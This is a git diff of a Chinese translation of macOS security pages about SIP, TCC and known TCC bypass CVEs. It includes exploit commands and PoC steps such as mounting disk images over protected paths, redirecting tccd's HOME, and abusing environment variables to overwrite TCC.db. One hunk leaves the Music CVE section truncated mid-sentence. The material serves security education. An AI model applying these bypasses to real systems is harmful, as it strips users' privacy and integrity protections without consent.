如果从挂载的映像或外部驱动器安装包,**安装程序** 将 **执行** 来自 **该文件系统** 的二进制文件(而不是来自 SIP 保护的位置),使 **`system_installd`** 执行任意二进制文件。
|
||||
如果从挂载的映像或外部驱动器安装包,**安装程序**将 **执行** 来自 **该文件系统** 的二进制文件(而不是来自 SIP 保护的位置),使 **`system_installd`** 执行任意二进制文件。
|
||||
|
||||
#### CVE-2021-30892 - Shrootless
|
||||
|
||||
@ -130,11 +130,11 @@ csrutil enable --without debug
|
||||
|
||||
#### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)
|
||||
|
||||
在 [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) 中发现同样的 **`system_installd`** 进程仍然可以被滥用,因为它将 **后安装脚本放在 SIP 保护的 `/tmp` 中的随机命名文件夹内**。问题在于 **`/tmp` 本身并不受 SIP 保护**,因此可以 **挂载** 一个 **虚拟映像**,然后 **安装程序** 会将 **后安装脚本** 放入其中,**卸载** 虚拟映像,**重新创建** 所有 **文件夹** 并 **添加** 带有 **有效负载** 的 **后安装** 脚本以执行。
|
||||
在 [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) 中发现同样的 **`system_installd`** 进程仍然可以被滥用,因为它将 **后安装脚本放在一个随机命名的文件夹中,该文件夹在 `/tmp` 中受 SIP 保护**。问题是 **`/tmp` 本身并不受 SIP 保护**,因此可以在其上 **挂载** 一个 **虚拟映像**,然后 **安装程序** 会将 **后安装脚本** 放入其中,**卸载** 虚拟映像,**重新创建** 所有 **文件夹** 并 **添加** 带有 **有效负载** 的 **后安装** 脚本以执行。
|
||||
|
||||
#### [fsck_cs 工具](https://www.theregister.com/2016/03/30/apple_os_x_rootless/)
|
||||
|
||||
发现了一个漏洞,其中 **`fsck_cs`** 被误导以破坏一个关键文件,因为它能够跟随 **符号链接**。具体来说,攻击者从 _`/dev/diskX`_ 创建了一个指向文件 `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist` 的链接。在 _`/dev/diskX`_ 上执行 **`fsck_cs`** 导致 `Info.plist` 的损坏。该文件的完整性对操作系统的 SIP(系统完整性保护)至关重要,SIP 控制内核扩展的加载。一旦损坏,SIP 管理内核排除的能力就会受到影响。
|
||||
发现了一个漏洞,其中 **`fsck_cs`** 被误导以损坏一个关键文件,因为它能够跟随 **符号链接**。具体来说,攻击者从 _`/dev/diskX`_ 创建了一个指向文件 `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist` 的链接。在 _`/dev/diskX`_ 上执行 **`fsck_cs`** 导致 `Info.plist` 的损坏。该文件的完整性对操作系统的 SIP(系统完整性保护)至关重要,SIP 控制内核扩展的加载。一旦损坏,SIP 管理内核排除的能力就会受到影响。
|
||||
|
||||
利用此漏洞的命令是:
|
||||
```bash
|
||||
@ -164,15 +164,15 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
|
||||
|
||||
攻击者的代码在升级过程中获得控制权,利用系统对安装程序的信任。攻击通过通过方法调换更改`InstallESD.dmg`映像,特别针对`extractBootBits`方法。这允许在使用磁盘映像之前注入恶意代码。
|
||||
|
||||
此外,在`InstallESD.dmg`中,有一个`BaseSystem.dmg`,它作为升级代码的根文件系统。将动态库注入其中使得恶意代码能够在能够更改操作系统级文件的进程中运行,显著增加了系统被攻陷的潜力。
|
||||
此外,在`InstallESD.dmg`中,有一个`BaseSystem.dmg`,它作为升级代码的根文件系统。将动态库注入其中允许恶意代码在能够更改操作系统级文件的进程中运行,显著增加了系统被攻陷的潜力。
|
||||
|
||||
#### [systemmigrationd (2023)](https://www.youtube.com/watch?v=zxZesAN-TEk)
|
||||
|
||||
在[**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk)的演讲中,展示了如何**`systemmigrationd`**(可以绕过SIP)执行**bash**和**perl**脚本,这可以通过环境变量**`BASH_ENV`**和**`PERL5OPT`**进行滥用。
|
||||
在[**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk)的演讲中,展示了如何**`systemmigrationd`**(可以绕过SIP)执行**bash**和**perl**脚本,这可以通过环境变量**`BASH_ENV`**和**`PERL5OPT`**被滥用。
|
||||
|
||||
#### CVE-2023-42860 <a href="#cve-a-detailed-look" id="cve-a-detailed-look"></a>
|
||||
|
||||
正如[**这篇博客文章中详细说明的**](https://blog.kandji.io/apple-mitigates-vulnerabilities-installer-scripts),`InstallAssistant.pkg`包中的`postinstall`脚本允许执行:
|
||||
正如[**在这篇博客文章中详细说明的**](https://blog.kandji.io/apple-mitigates-vulnerabilities-installer-scripts),`InstallAssistant.pkg`包中的`postinstall`脚本允许执行:
|
||||
```bash
|
||||
/usr/bin/chflags -h norestricted "${SHARED_SUPPORT_PATH}/SharedSupport.dmg"
|
||||
```
|
||||
@ -185,7 +185,7 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
|
||||
|
||||
权限 `com.apple.rootless.install` 被认为可以绕过 macOS 的系统完整性保护 (SIP)。这在与 [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/) 相关时特别提到。
|
||||
|
||||
在这个特定情况下,位于 `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` 的系统 XPC 服务拥有此权限。这使得相关进程能够规避 SIP 限制。此外,该服务显著提供了一种方法,允许在不执行任何安全措施的情况下移动文件。
|
||||
在这个特定情况下,位于 `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` 的系统 XPC 服务拥有此权限。这使得相关进程能够绕过 SIP 限制。此外,该服务显著提供了一种方法,允许在不执行任何安全措施的情况下移动文件。
|
||||
|
||||
## 密封系统快照
|
||||
|
||||
@ -193,11 +193,11 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
|
||||
|
||||
以下是更详细的介绍:
|
||||
|
||||
1. **不可变系统**:密封系统快照使 macOS 系统卷变为“不可变”,这意味着它无法被修改。这防止了任何未经授权或意外的更改,从而可能危及安全性或系统稳定性。
|
||||
1. **不可变系统**:密封系统快照使 macOS 系统卷变得“不可变”,这意味着它无法被修改。这防止了任何未经授权或意外的更改,从而可能危及安全性或系统稳定性。
|
||||
2. **系统软件更新**:当您安装 macOS 更新或升级时,macOS 会创建一个新的系统快照。macOS 启动卷随后使用 **APFS (Apple 文件系统)** 切换到这个新快照。应用更新的整个过程变得更安全、更可靠,因为系统始终可以在更新过程中出现问题时恢复到先前的快照。
|
||||
3. **数据分离**:结合在 macOS Catalina 中引入的数据和系统卷分离的概念,密封系统快照功能确保您的所有数据和设置存储在一个单独的“**数据**”卷上。这种分离使您的数据独立于系统,从而简化了系统更新的过程并增强了系统安全性。
|
||||
|
||||
请记住,这些快照由 macOS 自动管理,并且由于 APFS 的空间共享能力,不会占用您磁盘上的额外空间。还需要注意的是,这些快照与 **时间机器快照** 不同,后者是用户可访问的整个系统的备份。
|
||||
请记住,这些快照由 macOS 自动管理,并且由于 APFS 的空间共享功能,不会占用您磁盘上的额外空间。还需要注意的是,这些快照与 **Time Machine 快照** 不同,后者是用户可访问的整个系统的备份。
|
||||
|
||||
### 检查快照
|
||||
|
||||
@ -218,11 +218,11 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
|
||||
| +-> Volume disk3s1 7A27E734-880F-4D91-A703-FB55861D49B7
|
||||
| | ---------------------------------------------------
|
||||
<strong>| | APFS Volume Disk (Role): disk3s1 (System)
|
||||
</strong>| | Name: Macintosh HD (不区分大小写)
|
||||
</strong>| | Name: Macintosh HD (Case-insensitive)
|
||||
<strong>| | Mount Point: /System/Volumes/Update/mnt1
|
||||
</strong>| | Capacity Consumed: 12819210240 B (12.8 GB)
|
||||
| | Sealed: Broken
|
||||
| | FileVault: Yes (解锁)
|
||||
| | FileVault: Yes (Unlocked)
|
||||
| | Encrypted: No
|
||||
| | |
|
||||
| | Snapshot: FAA23E0C-791C-43FF-B0E7-0E1C0810AC61
|
||||
@ -233,11 +233,11 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
|
||||
+-> Volume disk3s5 281959B7-07A1-4940-BDDF-6419360F3327
|
||||
| ---------------------------------------------------
|
||||
| APFS Volume Disk (Role): disk3s5 (Data)
|
||||
| Name: Macintosh HD - Data (不区分大小写)
|
||||
| Name: Macintosh HD - Data (Case-insensitive)
|
||||
<strong> | Mount Point: /System/Volumes/Data
|
||||
</strong><strong> | Capacity Consumed: 412071784448 B (412.1 GB)
|
||||
</strong> | Sealed: No
|
||||
| FileVault: Yes (解锁)
|
||||
| FileVault: Yes (Unlocked)
|
||||
</code></pre>
|
||||
|
||||
在之前的输出中,可以看到 **用户可访问的位置** 被挂载在 `/System/Volumes/Data` 下。
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**TCC (透明性、同意和控制)** 是一个安全协议,专注于规范应用程序权限。其主要作用是保护敏感功能,如 **位置服务、联系人、照片、麦克风、相机、辅助功能和完整磁盘访问**。通过在授予应用程序访问这些元素之前要求明确的用户同意,TCC 增强了隐私和用户对其数据的控制。
|
||||
**TCC (透明性、同意和控制)** 是一个安全协议,专注于规范应用程序权限。它的主要作用是保护敏感功能,如 **位置服务、联系人、照片、麦克风、相机、辅助功能和完整磁盘访问**。通过在授予应用程序访问这些元素之前要求明确的用户同意,TCC 增强了隐私和用户对其数据的控制。
|
||||
|
||||
当应用程序请求访问受保护的功能时,用户会遇到 TCC。这通过一个提示可见,允许用户 **批准或拒绝访问**。此外,TCC 还支持直接用户操作,例如 **将文件拖放到应用程序中**,以授予对特定文件的访问,确保应用程序仅访问明确允许的内容。
|
||||
|
||||
@ -12,9 +12,9 @@
|
||||
|
||||
**TCC** 由位于 `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` 的 **守护进程** 处理,并在 `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` 中配置(注册 mach 服务 `com.apple.tccd.system`)。
|
||||
|
||||
每个登录用户都有一个 **用户模式 tccd** 在 `/System/Library/LaunchAgents/com.apple.tccd.plist` 中定义,注册 mach 服务 `com.apple.tccd` 和 `com.apple.usernotifications.delegate.com.apple.tccd`。
|
||||
每个登录用户都有一个 **用户模式 tccd** 在运行,定义在 `/System/Library/LaunchAgents/com.apple.tccd.plist` 中,注册 mach 服务 `com.apple.tccd` 和 `com.apple.usernotifications.delegate.com.apple.tccd`。
|
||||
|
||||
在这里,您可以看到 tccd 作为系统和用户运行:
|
||||
在这里你可以看到 tccd 作为系统和用户运行:
|
||||
```bash
|
||||
ps -ef | grep tcc
|
||||
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
|
||||
@ -27,22 +27,22 @@ ps -ef | grep tcc
|
||||
允许/拒绝的设置存储在一些 TCC 数据库中:
|
||||
|
||||
- 系统范围的数据库在 **`/Library/Application Support/com.apple.TCC/TCC.db`**。
|
||||
- 该数据库是**SIP 保护**的,因此只有 SIP 绕过才能写入。
|
||||
- 该数据库是**SIP 保护**的,因此只有 SIP 绕过可以写入。
|
||||
- 用户 TCC 数据库 **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** 用于每个用户的偏好设置。
|
||||
- 该数据库受到保护,因此只有具有高 TCC 权限的进程(如完全磁盘访问)才能写入(但它不受 SIP 保护)。
|
||||
- 该数据库受到保护,因此只有具有高 TCC 权限的进程(如完全磁盘访问)可以写入(但它不受 SIP 保护)。
|
||||
|
||||
> [!WARNING]
|
||||
> 之前的数据库也**受到 TCC 保护以进行读取访问**。因此,除非是来自 TCC 特权进程,否则您**无法读取**常规用户 TCC 数据库。
|
||||
>
|
||||
> 但是,请记住,具有这些高权限的进程(如**FDA**或**`kTCCServiceEndpointSecurityClient`**)将能够写入用户的 TCC 数据库。
|
||||
> 但是,请记住,具有这些高权限的进程(如 **FDA** 或 **`kTCCServiceEndpointSecurityClient`**)将能够写入用户的 TCC 数据库。
|
||||
|
||||
- 还有一个**第三个** TCC 数据库在 **`/var/db/locationd/clients.plist`** 中,指示允许**访问位置服务**的客户端。
|
||||
- SIP 保护的文件 **`/Users/carlospolop/Downloads/REG.db`**(也受到 TCC 的读取访问保护)包含所有**有效 TCC 数据库**的**位置**。
|
||||
- SIP 保护的文件 **`/Users/carlospolop/Downloads/MDMOverrides.plist`**(也受到 TCC 的读取访问保护)包含更多 TCC 授予的权限。
|
||||
- SIP 保护的文件 **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`**(任何人都可以读取)是需要 TCC 例外的应用程序的允许列表。
|
||||
- SIP 保护文件 **`/Users/carlospolop/Downloads/REG.db`**(也受到 TCC 的读取访问保护)包含所有**有效 TCC 数据库**的**位置**。
|
||||
- SIP 保护文件 **`/Users/carlospolop/Downloads/MDMOverrides.plist`**(也受到 TCC 的读取访问保护)包含更多 TCC 授予的权限。
|
||||
- SIP 保护文件 **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`**(任何人都可以读取)是需要 TCC 例外的应用程序的允许列表。
|
||||
|
||||
> [!TIP]
|
||||
> **iOS** 中的 TCC 数据库在 **`/private/var/mobile/Library/TCC/TCC.db`** 中。
|
||||
> **iOS** 中的 TCC 数据库在 **`/private/var/mobile/Library/TCC/TCC.db`**。
|
||||
|
||||
> [!NOTE]
|
||||
> **通知中心 UI** 可以对**系统 TCC 数据库**进行**更改**:
|
||||
@ -54,7 +54,7 @@ ps -ef | grep tcc
|
||||
> com.apple.rootless.storage.TCC
|
||||
> ```
|
||||
>
|
||||
> 但是,用户可以使用**`tccutil`**命令行工具**删除或查询规则**。
|
||||
> 但是,用户可以使用 **`tccutil`** 命令行工具**删除或查询规则**。
|
||||
|
||||
#### 查询数据库
|
||||
|
||||
@ -174,7 +174,7 @@ echo "X'$REQ_HEX'"
|
||||
您还可以在`System Preferences --> Security & Privacy --> Privacy --> Files and Folders`中检查**已授予的权限**。
|
||||
|
||||
> [!TIP]
|
||||
> 用户_可以_**删除或查询规则**,使用**`tccutil`**。
|
||||
> 用户 _可以_ **使用 `tccutil` 删除或查询规则**。
|
||||
|
||||
#### 重置 TCC 权限
|
||||
```bash
|
||||
@ -186,7 +186,7 @@ tccutil reset All
|
||||
```
|
||||
### TCC 签名检查
|
||||
|
||||
TCC **数据库**存储应用程序的 **Bundle ID**,但它还 **存储** **信息**,以 **确保** 请求使用权限的应用是正确的。
|
||||
TCC **数据库**存储应用程序的 **Bundle ID**,但它还 **存储** **信息**,以 **确保** 请求使用权限的应用程序是正确的。
|
||||
```bash
|
||||
# From sqlite
|
||||
sqlite> select service, client, hex(csreq) from access where auth_value=2;
|
||||
@ -208,7 +208,7 @@ csreq -t -r /tmp/telegram_csreq.bin
|
||||
|
||||
然而,对于应用程序 **访问** 某些用户文件夹,如 `~/Desktop`、`~/Downloads` 和 `~/Documents`,它们 **不需要** 任何特定的 **权限**。系统将透明地处理访问并 **根据需要提示用户**。
|
||||
|
||||
苹果的应用程序 **不会生成提示**。它们在其 **权限** 列表中包含 **预授予的权利**,这意味着它们 **永远不会生成弹出窗口**,**也** 不会出现在任何 **TCC 数据库** 中。例如:
|
||||
苹果的应用程序 **不会生成提示**。它们在其 **权限** 列表中包含 **预先授予的权利**,这意味着它们 **永远不会生成弹出窗口**,**也** 不会出现在任何 **TCC 数据库** 中。例如:
|
||||
```bash
|
||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
[...]
|
||||
@ -252,15 +252,15 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
||||
> [!NOTE]
|
||||
> 有趣的是,**`com.apple.macl`** 属性是由 **Sandbox** 管理的,而不是 tccd。
|
||||
>
|
||||
> 还要注意,如果您将允许计算机上某个应用程序的 UUID 的文件移动到另一台计算机,由于同一应用程序将具有不同的 UID,它将不会授予该应用程序访问权限。
|
||||
> 还要注意,如果您将允许计算机上某个应用的 UUID 的文件移动到另一台计算机,由于同一应用将具有不同的 UID,它将无法授予该应用访问权限。
|
||||
|
||||
扩展属性 `com.apple.macl` **无法像其他扩展属性那样被清除**,因为它是 **受 SIP 保护的**。然而,正如 [**在这篇文章中解释的**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/),可以通过 **压缩** 文件、**删除** 它和 **解压** 它来禁用它。
|
||||
扩展属性 `com.apple.macl` **无法像其他扩展属性那样被清除**,因为它是 **受 SIP 保护的**。然而,正如 [**在这篇文章中解释的**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/),可以通过 **压缩** 文件、**删除** 它并 **解压** 来禁用它。
|
||||
|
||||
## TCC 权限提升与绕过
|
||||
|
||||
### 插入到 TCC
|
||||
|
||||
如果您在某个时刻成功获得对 TCC 数据库的写入访问权限,可以使用以下内容添加条目(删除注释):
|
||||
如果您在某个时刻成功获得 TCC 数据库的写入访问权限,可以使用以下内容添加条目(删除注释):
|
||||
|
||||
<details>
|
||||
|
||||
@ -518,14 +518,14 @@ EOF
|
||||
|
||||
### **SIP 绕过到 TCC 绕过**
|
||||
|
||||
系统 **TCC 数据库** 受到 **SIP** 保护,这就是为什么只有具有 **指定权限的进程才能修改** 它。因此,如果攻击者找到一个 **SIP 绕过** 通过一个 **文件**(能够修改一个受 SIP 限制的文件),他将能够:
|
||||
系统 **TCC 数据库** 受到 **SIP** 保护,这就是为什么只有具有 **指示的权限** 的进程才能修改它。因此,如果攻击者找到一个 **SIP 绕过** 通过一个 **文件**(能够修改一个受 SIP 限制的文件),他将能够:
|
||||
|
||||
- **移除** TCC 数据库的保护,并授予自己所有 TCC 权限。他可以滥用这些文件中的任何一个,例如:
|
||||
- TCC 系统数据库
|
||||
- REG.db
|
||||
- MDMOverrides.plist
|
||||
|
||||
然而,还有另一种选择可以滥用这个 **SIP 绕过以绕过 TCC**,文件 `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` 是一个需要 TCC 例外的应用程序的允许列表。因此,如果攻击者可以 **移除此文件的 SIP 保护** 并添加他 **自己的应用程序**,该应用程序将能够绕过 TCC。\
|
||||
然而,还有另一种选择可以滥用这个 **SIP 绕过来绕过 TCC**,文件 `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` 是一个需要 TCC 例外的应用程序的允许列表。因此,如果攻击者可以 **移除此文件的 SIP 保护** 并添加他 **自己的应用程序**,该应用程序将能够绕过 TCC。\
|
||||
例如添加终端:
|
||||
```bash
|
||||
# Get needed info
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
**Apple Events** 是苹果 macOS 中的一个功能,允许应用程序相互通信。它们是 **Apple Event Manager** 的一部分,这是 macOS 操作系统中负责处理进程间通信的组件。该系统使一个应用程序能够向另一个应用程序发送消息,请求其执行特定操作,例如打开文件、检索数据或执行命令。
|
||||
**Apple Events** 是苹果 macOS 中的一个功能,允许应用程序相互通信。它们是 **Apple Event Manager** 的一部分,该组件负责处理进程间通信。该系统使一个应用程序能够向另一个应用程序发送消息,请求其执行特定操作,例如打开文件、检索数据或执行命令。
|
||||
|
||||
mina 守护进程是 `/System/Library/CoreServices/appleeventsd`,它注册了服务 `com.apple.coreservices.appleevents`。
|
||||
|
||||
每个可以接收事件的应用程序都会与此守护进程检查,提供其 Apple Event Mach Port。当一个应用程序想要向其发送事件时,该应用程序将向守护进程请求此端口。
|
||||
每个可以接收事件的应用程序都会与此守护进程检查,提供其 Apple Event Mach Port。当一个应用程序想要向其发送事件时,该应用程序将从守护进程请求此端口。
|
||||
|
||||
沙盒应用程序需要特权,如 `allow appleevent-send` 和 `(allow mach-lookup (global-name "com.apple.coreservices.appleevents))`,才能发送事件。注意,像 `com.apple.security.temporary-exception.apple-events` 的权限可能会限制谁可以发送事件,这将需要像 `com.apple.private.appleevents` 的权限。
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
### 写入绕过
|
||||
|
||||
这不是一个绕过,这只是 TCC 的工作方式:**它不防止写入**。如果终端 **没有权限读取用户的桌面,它仍然可以写入**:
|
||||
这不是一个绕过,这只是 TCC 的工作方式:**它不防止写入**。如果终端 **没有权限读取用户的桌面,它仍然可以写入其中**:
|
||||
```shell-session
|
||||
username@hostname ~ % ls Desktop
|
||||
ls: Desktop: Operation not permitted
|
||||
@ -16,11 +16,11 @@ ls: Desktop: Operation not permitted
|
||||
username@hostname ~ % cat Desktop/lalala
|
||||
asd
|
||||
```
|
||||
**扩展属性 `com.apple.macl`** 被添加到新 **文件** 中,以便 **创建者应用** 访问读取它。
|
||||
**扩展属性 `com.apple.macl`** 被添加到新 **文件** 以便给 **创建者应用** 访问读取它的权限。
|
||||
|
||||
### TCC ClickJacking
|
||||
|
||||
可以 **在 TCC 提示上放置一个窗口**,使用户 **接受** 而不注意。您可以在 [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)** 中找到一个 PoC。**
|
||||
可以 **在 TCC 提示上放置一个窗口**,使用户 **接受** 而不注意。你可以在 [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)** 中找到一个 PoC。**
|
||||
|
||||
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
|
||||
|
||||
@ -39,26 +39,26 @@ asd
|
||||
|
||||
### SSH Bypass
|
||||
|
||||
默认情况下,通过 **SSH 的访问曾经具有 "完全磁盘访问"**。为了禁用此功能,您需要将其列出但禁用(从列表中移除不会删除这些权限):
|
||||
默认情况下,通过 **SSH 的访问曾经具有 "完全磁盘访问"**。为了禁用此功能,你需要将其列出但禁用(从列表中移除不会删除这些权限):
|
||||
|
||||
.png>)
|
||||
|
||||
在这里,您可以找到一些 **恶意软件如何能够绕过此保护** 的示例:
|
||||
在这里你可以找到一些 **恶意软件如何能够绕过此保护** 的示例:
|
||||
|
||||
- [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,现在要启用 SSH,您需要 **完全磁盘访问**
|
||||
> 请注意,现在,要能够启用 SSH,你需要 **完全磁盘访问**
|
||||
|
||||
### 处理扩展 - CVE-2022-26767
|
||||
|
||||
属性 **`com.apple.macl`** 被赋予文件,以便给 **某个应用程序读取它的权限。** 当 **拖放** 文件到应用程序上,或当用户 **双击** 文件以使用 **默认应用** 打开时,会设置此属性。
|
||||
属性 **`com.apple.macl`** 被赋予文件,以便给 **某个应用程序读取它的权限。** 当 **拖放** 文件到应用程序上,或当用户 **双击** 文件以使用 **默认应用程序** 打开时,会设置此属性。
|
||||
|
||||
因此,用户可以 **注册一个恶意应用** 来处理所有扩展,并调用 Launch Services 来 **打开** 任何文件(因此恶意文件将被授予读取权限)。
|
||||
|
||||
### iCloud
|
||||
|
||||
权限 **`com.apple.private.icloud-account-access`** 可以与 **`com.apple.iCloudHelper`** XPC 服务进行通信,该服务将 **提供 iCloud 令牌**。
|
||||
权限 **`com.apple.private.icloud-account-access`** 使得可以与 **`com.apple.iCloudHelper`** XPC 服务进行通信,该服务将 **提供 iCloud 令牌**。
|
||||
|
||||
**iMovie** 和 **Garageband** 拥有此权限以及其他允许的权限。
|
||||
|
||||
@ -108,13 +108,13 @@ set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alia
|
||||
end tell
|
||||
do shell script "rm " & POSIX path of (copyFile as alias)
|
||||
```
|
||||
## 通过应用程序行为
|
||||
## 按应用行为
|
||||
|
||||
### CVE-2020–9934 - TCC <a href="#c19b" id="c19b"></a>
|
||||
|
||||
用户空间的 **tccd daemon** 使用 **`HOME`** **env** 变量从以下位置访问 TCC 用户数据库:**`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
用户空间的 **tccd daemon** 使用 **`HOME`** **env** 变量从以下位置访问 TCC 用户数据库: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
|
||||
根据 [这篇 Stack Exchange 文章](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) 和因为 TCC daemon 是通过 `launchd` 在当前用户的域中运行的,所以可以 **控制传递给它的所有环境变量**。\
|
||||
根据 [这个 Stack Exchange 文章](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) 和因为 TCC daemon 是通过 `launchd` 在当前用户的域中运行的,所以可以 **控制传递给它的所有环境变量**。\
|
||||
因此,**攻击者可以在 `launchctl` 中设置 `$HOME` 环境** 变量指向一个 **受控** **目录**,**重启** **TCC** daemon,然后 **直接修改 TCC 数据库** 以使自己获得 **所有可用的 TCC 权限**,而无需提示最终用户。\
|
||||
PoC:
|
||||
```bash
|
||||
@ -157,30 +157,14 @@ Notes 可以访问 TCC 保护的位置,但当创建一个笔记时,这个笔
|
||||
|
||||
### CVE-2023-38571 - 音乐与电视 <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
|
||||
|
||||
**`Music`** 有一个有趣的功能:当它运行时,它会将拖放到 **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** 的文件 **导入** 到用户的 "媒体库" 中。此外,它调用类似于:**`rename(a, b);`** 的操作,其中 `a` 和 `b` 是:
|
||||
|
||||
- `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
|
||||
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
|
||||
|
||||
这个 **`rename(a, b);`** 行为容易受到 **竞争条件** 的影响,因为可以在 `Automatically Add to Music.localized` 文件夹中放置一个假的 **TCC.db** 文件,然后在创建新文件夹 (b) 时复制该文件,删除它,并指向 **`~/Library/Application Support/com.apple.TCC`**。
|
||||
|
||||
### SQLITE_SQLLOG_DIR - CVE-2023-32422
|
||||
|
||||
如果 **`SQLITE_SQLLOG_DIR="path/folder"`**,基本上意味着 **任何打开的数据库都会被复制到该路径**。在这个 CVE 中,这个控制被滥用以 **写入** 一个 **SQLite 数据库**,该数据库将被 **一个具有 FDA 的进程打开 TCC 数据库**,然后滥用 **`SQLITE_SQLLOG_DIR`**,在文件名中使用 **符号链接**,因此当该数据库被 **打开** 时,用户的 **TCC.db 被覆盖** 为打开的那个。\
|
||||
**更多信息** [**在写作中**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **和**[ **在演讲中**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s)。
|
||||
|
||||
### **SQLITE_AUTO_TRACE**
|
||||
|
||||
如果环境变量 **`SQLITE_AUTO_TRACE`** 被设置,库 **`libsqlite3.dylib`** 将开始 **记录** 所有的 SQL 查询。许多应用程序使用了这个库,因此可以记录它们所有的 SQLite 查询。
|
||||
|
||||
多个 Apple 应用程序使用这个库来访问 TCC 保护的信息。
|
||||
**`Music`** 有一个有趣的功能:当它运行时,它会将拖
|
||||
```bash
|
||||
# Set this env variable everywhere
|
||||
launchctl setenv SQLITE_AUTO_TRACE 1
|
||||
```
|
||||
### MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407
|
||||
|
||||
这个 **env 变量被 `Metal` 框架使用**,这是多个程序的依赖,最显著的是 `Music`,它具有 FDA。
|
||||
这个 **env 变量被 `Metal` 框架使用**,这是各种程序的依赖,尤其是 `Music`,它具有 FDA。
|
||||
|
||||
设置以下内容:`MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`。如果 `path` 是有效目录,漏洞将被触发,我们可以使用 `fs_usage` 查看程序中发生的事情:
|
||||
|
||||
@ -193,7 +177,7 @@ launchctl setenv SQLITE_AUTO_TRACE 1
|
||||
这并不安全,因为它必须 **分别解析旧路径和新路径**,这可能需要一些时间,并且可能容易受到竞争条件的影响。有关更多信息,您可以查看 `xnu` 函数 `renameat_internal()`。
|
||||
|
||||
> [!CAUTION]
|
||||
> 所以,基本上,如果一个特权进程正在从您控制的文件夹中重命名,您可能会获得 RCE 并使其访问不同的文件,或者像这个 CVE 中一样,打开特权应用程序创建的文件并存储一个 FD。
|
||||
> 所以,基本上,如果一个特权进程正在从您控制的文件夹中重命名,您可能会获得 RCE 并使其访问不同的文件,或者像在这个 CVE 中那样,打开特权应用程序创建的文件并存储一个 FD。
|
||||
>
|
||||
> 如果重命名访问您控制的文件夹,而您已修改源文件或拥有其 FD,您可以将目标文件(或文件夹)更改为指向一个符号链接,这样您就可以随时写入。
|
||||
|
||||
@ -202,7 +186,7 @@ launchctl setenv SQLITE_AUTO_TRACE 1
|
||||
- 创建 `/Users/hacker/ourlink` 指向 `/Users/hacker/Library/Application Support/com.apple.TCC/`
|
||||
- 创建目录 `/Users/hacker/tmp/`
|
||||
- 设置 `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`
|
||||
- 通过运行带有此 env 变量的 `Music` 触发漏洞
|
||||
- 通过运行带有此 env 变量的 `Music` 来触发漏洞
|
||||
- 捕获 `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` 的 `open()`(X 是随机的)
|
||||
- 在这里我们也 `open()` 这个文件以进行写入,并保持文件描述符
|
||||
